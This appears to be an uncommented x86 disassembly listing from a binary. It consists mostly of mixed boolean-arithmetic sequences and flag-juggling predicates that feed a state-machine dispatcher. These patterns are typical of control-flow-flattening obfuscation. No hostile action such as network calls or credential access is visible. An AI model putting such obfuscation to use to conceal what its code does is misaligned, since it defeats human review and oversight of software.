xor ebx, ecx
xor ebx, 0xbb293453
and ebx, ebp
and ecx, 0x2e8e4024
and ebp, 0xd171bfdb
or ebp, ecx
xor ebp, 0x2e8e4024
or ebp, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xdb2bafc9
and ebx, 0x24d45036
or ebx, ecx
xor ebx, ebp
xor ebx, 0x24d45036
or eax, ebp
not eax
or eax, ebx
mov ecx, dword [esp]
and ecx, 0x92bdf65c
mov edx, dword [esp + 4]
and edx, 0x6d4209a3
or edx, ecx
mov ebp, dword [esp + 0xc]
mov edi, ebp
xor edi, 0x66860bd8
mov esi, edi
and esi, dword [esp + 8]
mov ebx, esi
not ebx
mov ecx, ebx
and ecx, 0x985dcfc2
and esi, 0x67a2303d
or esi, ecx
and edi, ebp
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0x985dcfc2
and edi, 0x67a2303d
or edi, ecx
xor edi, esi
not ebx
or ebx, edi
mov edi, edx
xor edi, 0x6d4209a3
mov ecx, edx
xor ecx, 0xf43bfd84
and ecx, edi
mov ebp, ecx
not ebp
mov esi, ebp
and esi, 0xeaf88d60
and ecx, 0x1507729f
or ecx, esi
mov esi, dword [esp]
or esi, 0x66860bd8
or ebp, esi
and esi, 0xeaf88d60
mov dword [esp], esi
mov esi, dword [esp + 4]
and esi, 0x11017007
add esi, dword [esp]
xor esi, ecx
not ebp
or ebp, esi
xor ebp, ebx
mov esi, dword [esp + 0xc]
mov ecx, esi
and ecx, 0xc512823
mov ebx, dword [esp + 8]
and ebx, 0xf3aed7dc
or ebx, ecx
mov ecx, ebx
xor edx, 0x92bdf65c
or esi, edx
mov ebx, esi
and edx, 0xc512823
and edi, 0xf3aed7dc
or edi, edx
xor edi, ecx
not ebx
or ebx, edi
not ebx
or ebx, ebp
xor ebx, eax
and eax, ebx
not ebx
or ebx, eax
mov edx, ebx
not edx
mov eax, ebx
mov esi, ebx
xor esi, 0xf5f59fe
and esi, ebx
mov ecx, edx
and ecx, 0x9b8808cb
and ebx, 0x6477f734
or ebx, ecx
xor ebx, 0x9b8808cb
or ebx, edx
and edx, 0x41411e4
and eax, 0xb4b481a
or eax, edx
mov ecx, eax
xor ecx, 0xb03080a
xor eax, 0xf4b4b7e5
mov edx, esi
not edx
mov edi, eax
and edi, 0x10786254
and ecx, 0xf0719aa
or ecx, edi
or eax, edx
and edx, 0x10786254
and esi, 0xef879dab
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0xf0a0a601
xor eax, 0x70450c0
and eax, 0xb7a4d2c0
mov edx, ecx
and edx, 0x485b2d3f
or edx, eax
mov eax, edx
xor eax, 0x485b2d3f
xor edx, 0xa813bbcc
and edx, eax
and ecx, 0xe04896f3
or ecx, edx
or eax, ebx
xor ebx, 0xe04896f3
mov edx, ebx
xor edx, ebx
not edx
and edx, ecx
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
mov esi, edx
and esi, 0xa80180
mov ecx, eax
and ecx, 0x10505602
or ecx, esi
mov edi, ecx
xor edi, 0x10105200
xor ecx, 0xefafa9fd
mov esi, eax
xor esi, 0x10f85782
and esi, eax
mov ebx, ecx
and ebx, 0x2cca8dca
and edi, 0x10305200
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x2cca8dca
and esi, 0xd3357235
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
xor ecx, 0xef07a87d
and edx, 0xeb4e1e83
and eax, 0x14b1e17c
or eax, edx
xor eax, 0x14b1e17c
or eax, ecx
xor eax, 0x21bc14ab
xor eax, 0xde43eb54
setne byte [esp + 4]
sete dl
cmp dword [0x1004090c], 0xa
setge ah
mov ch, ah
inc ch
mov al, ah
and al, ch
xor al, 1
mov cl, ch
xor cl, al
mov dh, ch
or dh, al
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
or al, ah
xor al, 1
or al, ch
mov bh, cl
and bh, dh
xor bh, 1
mov bl, dh
xor bl, bh
or bh, dh
xor bh, 1
or bh, bl
mov bl, bh
xor bl, 1
and bh, cl
mov cl, dh
xor cl, bl
and cl, dh
and bl, dh
or bl, bh
xor cl, 1
xor bl, 1
mov dh, cl
xor dh, bl
or bl, cl
xor bl, 1
or bl, dh
mov dh, bl
mov cl, bl
or cl, al
xor bl, al
xor al, 1
xor dh, 1
or dh, al
and cl, bl
xor dh, 1
or dh, bl
mov al, cl
xor al, dh
xor dh, 1
mov bl, dh
xor bl, cl
xor al, 1
or dh, cl
xor dh, 1
or dh, al
xor dh, 1
or dh, bl
mov cl, dl
xor cl, dh
mov al, dl
or al, dh
xor al, 1
or al, cl
xor al, 1
mov cl, dl
mov bh, byte [esp + 4]
xor cl, bh
and cl, dh
xor cl, bh
xor cl, 1
or cl, dh
xor cl, 1
or cl, al
mov byte [esp], cl
mov dh, dl
xor dh, ah
and dh, dl
mov al, ch
or al, dl
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
xor dh, 1
or dh, ch
mov bl, dh
xor bl, 1
or dl, ah
or ch, bh
mov al, ch
mov cl, ch
mov ah, dl
xor ch, dl
xor dl, 1
xor al, 1
and cl, dl
and ah, al
or ah, cl
or al, dl
xor al, 1
or al, ch
xor ah, 1
mov cl, ah
xor cl, al
or ah, al
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov ch, bl
xor ch, dl
xor ch, 1
or ch, dh
mov al, ch
xor al, 1
xor dl, dh
and ah, dl
and dl, bl
mov cl, ah
xor cl, 1
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov cl, dl
xor cl, 1
and cl, al
and ch, dl
or ch, cl
mov cl, al
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor ch, 1
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
mov ah, ch
xor ah, 1
mov bh, byte [esp]
mov al, bh
xor al, 1
mov byte [esp + 4], al
mov dl, bh
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, bh
mov al, dl
xor al, 1
and dl, al
xor dl, 1
mov cl, dl
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov bh, dl
xor bh, 1
mov bl, ch
and bl, ah
xor bl, 1
or bl, ah
xor bl, 1
or bl, ch
mov cl, ch
xor cl, bl
and cl, ah
mov dh, bh
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, bh
mov al, ch
and al, cl
xor cl, 1
mov bh, cl
and bh, ah
or bh, al
xor bh, 1
or bh, ah
mov al, bh
xor al, 1
or cl, ch
xor cl, 1
and bl, ch
or bl, cl
mov dl, al
and dl, bh
xor dl, 1
or dl, bh
xor dl, 1
or dl, al
mov al, dl
xor al, 1
and al, bl
xor bl, 1
and dl, bl
or dl, al
or bl, bh
xor dl, 1
mov al, dl
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov al, dh
xor al, dl
or dl, dh
and dl, al
mov dh, byte [esp + 4]
and ah, dh
mov al, byte [esp]
mov cl, al
and cl, ch
or cl, ah
or dh, ch
xor ch, al
mov al, dh
xor al, ch
or ch, dh
xor ch, 1
or ch, al
xor ch, 1
mov eax, ecx
xor al, ch
xor al, 1
mov ah, al
and ah, cl
xor ah, 1
or ch, cl
or ah, al
xor ah, 1
or ah, ch
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ecx, eax
and cl, ah
xor al, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov eax, edx
xor al, 1
mov ch, dl
xor ch, cl
mov ah, ch
xor ah, al
and ah, ch
xor al, cl
or cl, dl
and al, dl
xor cl, 1
or al, cl
xor al, ah
mov ecx, eax
not cl
and cl, ah
test al, 1
mov ebx, 0xf3aa49bc
mov edx, 0xfd77a416
cmovne ebx, edx
test cl, 1
mov ecx, 0xf3aa49bc
cmove ebx, ecx
cmovne ebx, edx
test al, 1
cmovne ebx, edx
jmp 0x1000b8a0
mov ebx, 0xcc000499
jmp 0x1000b8a0
cmp byte [esp + 0x2f], 0
mov ebx, 0xc0b5e76e
mov eax, 0x8efc2b94
cmovne ebx, eax
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x1da22342
mov eax, edx
and eax, 0x80000415
or eax, esi
mov esi, eax
xor esi, 0x414
or esi, 0x200890a8
xor eax, 0xc200040
and eax, 0x8c200041
and esi, 0x318ab7be
or esi, eax
mov edi, esi
xor edi, 0x310
xor esi, 0x8c050000
mov ebx, edx
or ebx, 0xd002050
mov eax, ecx
and eax, 0x201dc8a0
and ebx, 0x4f403058
or ebx, eax
mov eax, ebx
xor eax, 0x42401008
xor ebx, 0xb08f0426
and esi, 0xbd8f2426
and edi, 0x200351
or edi, esi
and ebx, 0xbd8f2426
and eax, 0x4250d888
or eax, ebx
xor eax, edi
mov esi, eax
not esi
mov edi, esi
and edi, 0x4249d820
mov ebx, eax
and ebx, 0x20140088
or ebx, edi
mov edi, ebx
xor edi, 0x20100000
xor ebx, 0xf882853
or esi, 0x20c0888
and ebx, 0xf8c28db
and edi, 0x6051d020
or edi, ebx
and esi, 0xf8c28db
and eax, 0x90220704
or eax, esi
xor eax, edi
mov esi, eax
mov edi, eax
xor edi, 0xb36f2e0f
and edi, eax
not eax
or esi, 0x4c90d1f0
mov ebx, edi
not ebx
mov ebp, esi
and ebp, 0x1007a470
and eax, 0x20400001
or eax, ebp
or esi, ebx
and ebx, 0x1007a470
and edi, 0x20400001
or edi, ebx
xor edi, eax
not esi
or esi, edi
xor esi, 0x8070
or esi, 0xcfb85b8e
mov eax, esi
xor eax, 0xb466a2ae
and eax, esi
not esi
or esi, eax
not eax
and eax, 0x4b995d51
and esi, 0xb466a2ae
or esi, eax
mov ebp, esi
mov esi, edx
or esi, 0x5a373a04
mov edi, ecx
xor edi, 0x5a373a04
and edi, edx
mov eax, esi
and eax, 0xc880543c
mov ebx, ecx
and ebx, 0x254881c3
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0xc880543c
and edi, 0x377fabc3
or edi, eax
xor edi, ebx
not esi
or esi, edi
xor esi, 0x958f618a
or ecx, 0x8d081b00
and edx, 0x420021
and ecx, 0xbd0dbf50
or ecx, edx
xor ecx, 0xbd0dbf50
or ecx, esi
mov edx, ecx
xor edx, 0x77882681
and edx, ecx
mov eax, ecx
not eax
or eax, edx
not edx
and edx, 0x8877d97e
and eax, 0x77882681
or eax, edx
mov esi, eax
not esi
and eax, 0x2de19286
and esi, 0xd21e6d79
or esi, eax
mov edi, esi
xor edi, 0x2de19286
xor esi, 0xd21e6d79
mov eax, ebp
not eax
mov ebx, eax
mov dword [esp + 8], eax
mov eax, edi
and eax, 0x99817d66
mov edx, esi
and edx, 0x667e8299
or edx, eax
xor edx, 0x667e8299
mov eax, edi
and eax, esi
or eax, edx
mov ecx, eax
mov edx, ebp
or edx, 0x945206c1
mov eax, ebx
and eax, 0x810024
and edx, 0xdd7effc3
or edx, eax
mov dword [esp], edx
mov eax, ecx
not eax
mov dword [esp + 4], eax
and eax, 0xe25ad4de
mov edx, ecx
mov ebx, ecx
and edx, 0x1da52b21
or edx, eax
mov ecx, edx
xor ecx, 0x1da52b21
xor edx, 0x20588092
and edx, 0x255ca393
mov eax, ecx
and eax, 0xdaa35c6c
or eax, edx
xor eax, 0x930ea54a
and ecx, 0xb65206d9
or ecx, eax
mov dword [esp + 0xc], ecx
or edi, 0x408d1802
and esi, 0xa4020441
and edi, 0x52dd1a9a
or edi, esi
mov dword [esp + 0x10], edi
and ebx, ebp
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 4]
or ebp, eax
mov dword [esp + 0x1c], ebp
mov ecx, dword [esp + 8]
and eax, ecx
mov dword [esp + 4], eax
or ecx, 0x49adf926
mov edi, ecx
not edi
and ecx, 0x6b01cff1
mov eax, edi
and eax, 0x94520008
or eax, ecx
mov esi, eax
xor esi, 0x94fe300e
mov ecx, eax
xor ecx, 0x5d090bb6
and ecx, esi
and edi, 0x80520298
or edi, ecx
mov ebp, dword [esp]
mov ecx, ebp
xor ecx, 0xdd7effc3
xor ebp, 0x2281003c
mov dword [esp], ebp
mov edx, ecx
or edx, 0x88331228
and edx, 0x883b5228
and ebp, 0x6008047
or ebp, edx
mov ebx, dword [esp]
or ebx, 0x30084400
and ebx, 0xb83b5628
mov edx, ecx
and edx, 0x41842900
or edx, ebx
xor edx, ebp
mov ebx, edi
xor ebx, edi
not ebx
and ebx, edx
xor ebx, edi
mov edx, ecx
and edx, 0x49ac3002
mov edi, dword [esp]
and edi, 0x3401cd3d
or edi, edx
xor eax, 0x6b01cff1
or ecx, eax
and eax, 0x825202c0
and esi, 0x3401cd3d
or esi, eax
xor esi, edi
not ecx
or ecx, esi
mov edi, ebx
not edi
mov eax, edi
and eax, 0x6f8e1e7b
and ebx, 0x9071e184
or ebx, eax
mov eax, ecx
not eax
or edi, ecx
and ecx, 0x6f8e1e7b
and eax, 0x9071e184
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov edx, dword [esp + 0x10]
mov eax, edx
xor eax, 0xad22e565
xor edx, eax
xor edx, 0x52dd1a9a
mov esi, dword [esp + 0xc]
and edx, esi
or esi, eax
xor edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xc68dcd03
and edx, 0x397232fc
or edx, ecx
or eax, esi
mov ecx, esi
and ecx, 0xf6dfcfdb
xor ecx, edx
xor ecx, 0x305202d8
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x14a8dff1
and edx, ecx
mov ecx, edi
not ecx
and eax, 0xeb57200e
or eax, edx
mov edx, edi
or edx, 0x6a54000c
and edx, 0x7e5c02ac
mov esi, ecx
and ecx, 0xa0dd51
or ecx, edx
or esi, 0x140802a0
xor ecx, eax
and esi, 0x7e5c02ac
and edi, 0x81032002
or edi, esi
xor edi, ecx
mov eax, dword [esp + 0x1c]
not eax
mov edx, dword [esp + 4]
or edx, dword [esp + 0x18]
or edx, eax
mov eax, edx
xor eax, 0xb8f46d73
and eax, edx
not edx
and edx, 0xb8f46d73
or edx, eax
not eax
and eax, 0x470b928c
and edx, 0xb8f46d73
or edx, eax
mov ecx, edx
not ecx
and edx, 0xdf6ce948
and ecx, 0x209316b7
or ecx, edx
mov edx, ecx
xor edx, 0xdf6ce948
mov dword [esp + 4], edx
xor ecx, 0x209316b7
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xd2291929
mov ebp, edi
and ebp, 0x2dd6e6d6
or ebp, eax
mov eax, edx
and eax, 0x50aa3037
mov esi, ecx
and esi, 0xaf55cfc8
or esi, eax
mov eax, ebp
xor eax, 0x2dd6e6d6
mov dword [esp], eax
xor ebp, 0x85e38009
and ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x4d288c8c
and ebp, 0xb2d77373
or ebp, edx
or ebx, 0x57ca9920
or eax, ebx
and ebx, 0x4d288c8c
and edi, 0xa0156253
or edi, ebx
xor edi, ebp
mov ebx, esi
xor ebx, 0xaf55cfc8
not eax
or eax, edi
mov edx, esi
xor edx, 0x500a1020
or edx, 0x88316296
xor esi, 0x3400900
mov edi, dword [esp + 4]
or edi, 0x540a9020
and edx, 0xdc3bf2b6
and esi, 0x3c00900
or esi, edx
and edi, 0xdc3bf2b6
and ecx, 0x20040449
or ecx, edi
xor ecx, esi
xor ecx, eax
or ebx, dword [esp]
mov eax, ecx
not eax
mov edx, eax
and edx, 0xbcc9f62e
and ecx, 0x433609d1
or ecx, edx
xor ecx, ebx
xor ecx, 0x433609d1
or eax, ebx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x490b060
mov esi, eax
and esi, 0xfb6f4f9f
or esi, ecx
mov ecx, esi
xor ecx, 0xf1224e9b
xor esi, 0x4900040
and esi, 0xedd0144
and ecx, 0xf122febb
or ecx, esi
mov esi, ecx
xor esi, 0x6490100
xor ecx, 0xc0220a09
and ecx, 0xc8b60a4d
and esi, 0x3749f5b2
or esi, ecx
mov ecx, esi
xor ecx, 0x31481192
xor esi, 0x960208
and esi, 0x697e628
and ecx, 0xf96819d7
or ecx, esi
mov esi, ecx
xor esi, 0xc92fbda6
xor ecx, 0xf96819d7
and ecx, esi
and edx, 0x45adef2f
and eax, 0xba5210d0
or eax, edx
mov esi, eax
xor esi, 0xba5210d0
xor eax, 0x1896304
and eax, 0x3c963c4
mov edx, esi
and edx, 0xfc369c3b
or edx, eax
xor edx, 0xcc71384a
and esi, 0xcfb85b8e
or esi, edx
mov edx, esi
not edx
mov eax, ecx
not eax
mov edi, eax
or edi, esi
and eax, 0xb282b89a
and ecx, 0x4d7d4765
or ecx, eax
and esi, 0xb282b89a
and edx, 0x4d7d4765
or edx, esi
xor edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x5f3448c2
and edx, 0xa0cbb73d
or edx, ecx
xor edx, edi
xor edx, 0xa0cbb73d
or ebp, edi
not ebp
or ebp, edx
mov ecx, ebp
mov edx, ebp
mov esi, ebp
xor esi, 0x82dcf60d
and esi, ebp
mov dword [esp + 4], esi
not ebp
and ecx, 0x207a3e3c
mov edi, ebp
and edi, 0xdf85c1c3
or edi, ecx
mov ecx, edi
xor ecx, 0x20003e38
xor edi, 0x93008100
and ecx, 0x6c857efb
and edi, 0x937a8104
or edi, ecx
mov esi, edi
xor esi, 0x937a8104
mov ecx, ebp
and ecx, 0x75424224
and edx, 0x8abdbddb
or edx, ecx
xor edx, 0x8abdbddb
mov ecx, edx
xor ecx, ebp
and ecx, edx
xor edi, 0x20017ae0
and edi, 0xa22b7be0
mov ebx, esi
and ebx, 0x5dd4841f
or ebx, edi
mov edx, ebx
xor edx, 0x5dd4841f
mov edi, ebx
xor edi, 0x44a1141
and edi, edx
and esi, 0x599e955e
or esi, edi
mov edi, ecx
not edi
mov eax, edi
and eax, 0xa6616aa1
mov dword [esp], eax
mov eax, ecx
and eax, 0x599e955e
add eax, dword [esp]
xor eax, esi
xor ebx, 0xa22b7be0
mov esi, ebx
and esi, 0x76557054
and edx, 0x89aa8fab
or edx, esi
or ebx, ecx
and ecx, 0x76557054
and edi, 0x89aa8fab
or edi, ecx
xor edi, edx
not ebx
or ebx, edi
not ebx
or ebx, eax
mov esi, ebx
not esi
mov dword [esp + 0x10], esi
mov eax, esi
and eax, 0x163e8555
mov ecx, ebx
mov dword [esp], ebx
and ecx, 0xe9c17aaa
or ecx, eax
mov eax, ecx
xor eax, 0xe1010080
xor ecx, 0x10060405
mov edx, esi
or edx, 0x10061405
or ecx, 0x4404870
and ecx, 0x14465c75
and eax, 0xe3290180
or eax, ecx
and edx, 0x14465c75
mov ecx, ebx
and ecx, 0x890a20a
or ecx, edx
xor ecx, eax
mov eax, esi
and eax, 0x426b8773
mov edx, ebx
and edx, 0xbd94788c
or edx, eax
mov eax, edx
xor eax, 0xbd94788c
xor edx, 0x426b8773
and edx, ecx
not ecx
and eax, ecx
or edx, eax
not edx
or edx, ecx
mov eax, dword [esp + 4]
or ebp, eax
not eax
and eax, 0x7d2309f2
and ebp, 0x82dcf60d
or ebp, eax
mov ecx, ebp
or ecx, 0x7093ab88
mov eax, ebp
not eax
mov edi, ecx
and edi, 0x41886ee2
and eax, 0x8e641015
or eax, edi
mov edi, ebp
xor edi, 0x8f6c5477
and edi, ebp
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0x41886ee2
and edi, 0xbe77911d
or edi, ebx
xor edi, eax
mov eax, edx
not eax
mov esi, eax
not ecx
or ecx, edi
mov eax, ebp
xor eax, 0x4e10e95b
xor ecx, 0x83bcbe0d
or eax, 0xa0270004
and ebp, 0x4c0ca78
and eax, 0xa8372006
or eax, ebp
xor eax, 0xa8372006
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd317f7a4
and ecx, 0x2ce8085b
or ecx, eax
mov eax, edx
and eax, 0x34600601
mov edi, esi
mov dword [esp + 8], esi
mov ebx, esi
and ebx, 0x8081c90e
or ebx, eax
mov eax, ebx
xor eax, 0x8080080e
xor ebx, 0x7f7e36f1
mov esi, ebx
and esi, 0x1535e1e1
and eax, 0xa0c00e0e
or eax, esi
mov esi, edx
xor esi, 0x4b1e30f0
and esi, edi
mov edi, esi
not edi
or ebx, edi
and edi, 0x1535e1e1
and esi, 0xeaca1e1e
or esi, edi
xor esi, eax
not ebx
or ebx, esi
mov dword [esp + 4], ebx
mov edi, ecx
xor edi, 0xd317f7a4
xor ecx, 0x2ce8085b
mov esi, ecx
and esi, 0xd234f053
mov ebp, edi
and ebp, 0x2dcb0fac
or ebp, esi
mov esi, ebp
xor esi, 0x9010420
xor ebp, 0xd234f053
mov ebx, ebp
and ebx, 0xa4ee6b9e
and esi, 0x5b119461
or esi, ebx
mov ebx, ecx
and ebx, edi
mov eax, ebx
not eax
or ebp, eax
and eax, 0xa4ee6b9e
and ebx, 0x5b119461
or ebx, eax
xor ebx, esi
not ebp
or ebp, ebx
mov dword [esp + 0xc], ebp
mov eax, dword [esp + 4]
mov esi, eax
xor esi, 0x4b1e30f0
mov dword [esp + 0x18], esi
mov ebp, eax
xor ebp, 0xb4e1cf0f
mov dword [esp + 0x1c], ebp
mov eax, ebp
and eax, 0x7a503743
and esi, 0x85afc8bc
or esi, eax
mov ebx, esi
xor ebx, ebp
and ebx, esi
mov esi, dword [esp + 8]
and esi, 0xfdc1dbac
mov eax, edx
and eax, 0x23e2453
or eax, esi
xor eax, 0x786e1310
and edx, 0x85afc8bc
or edx, eax
mov ebp, dword [esp + 0xc]
mov eax, ebp
not eax
mov dword [esp + 8], eax
and eax, 0x7a503743
and ebp, 0x85afc8bc
or ebp, eax
mov esi, ebp
xor esi, dword [esp + 8]
and esi, ebp
and ecx, 0xb242d379
and edi, 0x4dbd2c86
or edi, ecx
mov ecx, edi
xor ecx, 0x4dbd2c86
xor edi, 0x9202c160
and edi, 0xd21ecd60
mov eax, ecx
and eax, 0x2de1329f
or eax, edi
xor eax, 0x57b105dc
and ecx, 0x85afc8bc
or ecx, eax
xor edx, ebx
and ebx, edx
not edx
or edx, ebx
mov ebx, ecx
not ebx
mov eax, esi
xor eax, ecx
and ecx, 0x5dbe2d9e
and ebx, 0xa241d261
or ebx, ecx
and eax, esi
xor ebx, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x20338c41
and eax, 0xdfcc73be
or eax, esi
mov esi, ebx
xor esi, 0x5dbe2d9e
xor ebx, 0xa241d261
or ecx, ebx
and ebx, 0x20338c41
and esi, 0xdfcc73be
or esi, ebx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
or eax, edx
not edx
or edx, ecx
mov ecx, eax
xor ecx, edx
or edx, eax
not edx
or edx, ecx
mov esi, dword [esp + 4]
xor esi, 0x2a0bd23f
mov ecx, dword [esp + 0x18]
and esi, ecx
mov eax, dword [esp + 0x1c]
and eax, 0x73743f0c
and ecx, 0x8c8bc0f3
or ecx, eax
mov eax, ecx
xor eax, 0x8c8bc0f3
xor ecx, 0x1261ddc3
and ecx, eax
or esi, ecx
mov ecx, dword [esp + 8]
or eax, ecx
and ecx, 0x6115e2cf
mov edi, dword [esp + 0xc]
and edi, 0x9eea1d30
or edi, ecx
xor edi, esi
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0xeae4fede
and edi, 0x151b0121
or edi, esi
mov esi, eax
not esi
or ecx, eax
and eax, 0xeae4fede
and esi, 0x151b0121
or esi, eax
xor esi, edi
not ecx
or ecx, esi
mov eax, ecx
xor eax, 0xad5f3abe
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x52a0c541
and ecx, 0xad5f3abe
or ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x5d327dba
mov ebx, ecx
and ebx, 0xa2cd8245
or ebx, eax
mov esi, edx
not esi
mov dword [esp + 4], esi
mov eax, edx
xor eax, 0x8e51cf56
and eax, esi
and edx, 0x71ae30a9
or edx, eax
mov eax, ebx
xor eax, 0xa2cd8245
xor ebx, 0xd363b2ec
and ebx, eax
mov ebp, ebx
not ebp
mov esi, ebp
and esi, 0x341f1832
and ebx, 0xcbe0e7cd
or ebx, esi
or edi, 0x8e51cf56
or ebp, edi
and edi, 0x341f1832
and ecx, 0x41a02089
or ecx, edi
xor ecx, ebx
not ebp
or ebp, ecx
xor ebp, edx
or eax, dword [esp + 4]
not eax
or eax, ebp
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x84c4fba6
mov esi, edx
and esi, 0x7b3b0459
or esi, ecx
mov ecx, esi
xor ecx, 0x7b3b0459
xor esi, 0x80408082
and esi, 0x9a5a8093
mov edi, ecx
and edi, 0x65a57f6c
or edi, esi
xor edi, 0x7f356cd8
and ecx, 0xe56fec4b
or ecx, edi
mov esi, edx
and esi, 0x6ded627b
and eax, 0x92129d84
or eax, esi
xor eax, 0x777d71cf
xor edx, eax
and edx, eax
mov esi, edx
not esi
mov eax, ecx
or eax, esi
and esi, 0xee1cd162
and edx, 0x11e32e9d
or edx, esi
xor edx, ecx
mov ecx, edx
xor ecx, 0x11e32e9d
xor edx, 0xee1cd162
mov esi, edx
and esi, 0xe5b1bb24
and ecx, 0x1a4e44db
or ecx, esi
xor ecx, eax
xor ecx, 0x1a4e44db
or edx, eax
not edx
or edx, ecx
mov ecx, edx
mov eax, edx
xor eax, 0xe9bf0630
and eax, edx
or edx, 0x1640f9cf
not ecx
mov esi, eax
not esi
mov edi, edx
and edi, 0x91ef150d
and ecx, 0x68100230
or ecx, edi
or edx, esi
and esi, 0x91ef150d
and eax, 0x6e10eaf2
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov dword [esp + 4], edx
mov edx, dword [esp + 0x10]
mov eax, edx
and eax, 0xc114578a
mov edi, dword [esp]
mov ecx, edi
and ecx, 0x3eeba875
or ecx, eax
xor ecx, 0x3eeba874
mov esi, ecx
xor esi, edx
and esi, ecx
mov eax, edx
or eax, 0x88b5903
mov ecx, edi
or ecx, 0x20000418
and ecx, 0x288b5d1b
and edx, 0x4340a2a4
or edx, ecx
and eax, 0x288b5d1b
mov ecx, edi
and ecx, 0x94340040
or ecx, eax
xor ecx, edx
mov dword [esp], ecx
mov eax, ecx
xor eax, 0x4a0ad380
mov edx, ecx
xor edx, 0xb4340459
mov edi, edx
and edi, 0x85f52866
and eax, 0x7a0ad799
or eax, edi
mov ebx, esi
xor ebx, 0x7f62a40d
mov ebp, ebx
and ebx, esi
not esi
and ebp, esi
mov edi, ebp
not edi
mov ecx, edi
and ecx, 0x2e2b8f8c
and ebp, 0xd1d47073
or ebp, ecx
mov ecx, ebx
not ecx
or edi, ecx
and ecx, 0x2e2b8f8c
and ebx, 0xd1d47073
or ebx, ecx
xor ebx, ebp
not edi
or edi, ebx
mov ecx, eax
xor ecx, 0x1000000
or ecx, 0x941300
mov ebx, eax
xor eax, 0x1a000008
and ecx, 0x61969701
and eax, 0x1e60200c
or eax, ecx
xor ebx, 0x7a0ad799
or edx, 0x61028401
mov ecx, dword [esp]
xor ecx, 0x948a2
and edx, 0x61969701
and ecx, 0x800948f2
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, edi
xor eax, ecx
or ebx, esi
mov esi, ebx
not esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x26074ab9
and eax, 0xd9f8b546
or eax, edx
or ecx, ebx
and ebx, 0x26074ab9
and esi, 0xd9f8b546
or esi, ebx
xor esi, eax
not ecx
or ecx, esi
mov esi, ecx
not esi
mov eax, ecx
mov edx, esi
and edx, 0xf7e58830
and ecx, 0x81a77cf
or ecx, edx
xor ecx, 0xf7e58830
or ecx, esi
and esi, 0xaa9c0c47
and eax, 0x5563f3b8
or eax, esi
mov edx, eax
xor edx, 0x5122e0a8
xor eax, 0x8a880007
and eax, 0x8ec91317
and edx, 0x7136ece8
or edx, eax
mov eax, edx
xor eax, 0xe480002
xor edx, 0x1136c868
and edx, 0x91b7db7d
and eax, 0x6e482482
or eax, edx
mov edx, eax
xor edx, 0x48002080
xor eax, 0x91b7db7d
mov esi, eax
xor esi, ecx
and esi, eax
and edx, 0xc985a088
and eax, 0x367a5f77
or eax, edx
xor eax, ecx
xor eax, 0x367a5f77
or eax, esi
mov ecx, eax
not ecx
and ecx, 0xb7f954e7
and eax, 0x4806ab18
or eax, ecx
mov esi, eax
xor esi, 0x4806ab18
xor eax, 0xb7f954e7
mov edx, dword [esp + 4]
mov ecx, edx
not ecx
mov dword [esp], edx
mov ebx, edx
mov ebp, ecx
and ebp, 0xb4b52599
and edx, 0x4b4ada66
or edx, ebp
mov ebp, esi
or ebx, eax
xor edx, 0xb4b52599
or edx, esi
and esi, 0x74d98742
mov edi, eax
and eax, 0x8b2678bd
or eax, esi
mov esi, dword [esp]
and esi, 0x658f2e10
xor eax, 0x74d98742
or eax, ecx
and ecx, 0x9a70d1ef
or ecx, esi
and edi, 0x658f2e10
and ebp, 0x9a70d1ef
or ebp, edi
xor ebp, ecx
not ebx
or ebx, ebp
mov esi, ebx
not esi
not edx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, ebx
or ecx, edx
and ebx, 0x10f8bde7
and esi, 0xef074218
or esi, ebx
and edx, 0x10f8bde7
and eax, 0xef074218
or eax, edx
xor eax, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0xef344df3
and eax, 0x10cbb20c
or eax, esi
xor eax, ecx
xor eax, 0x10cbb20c
or edx, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
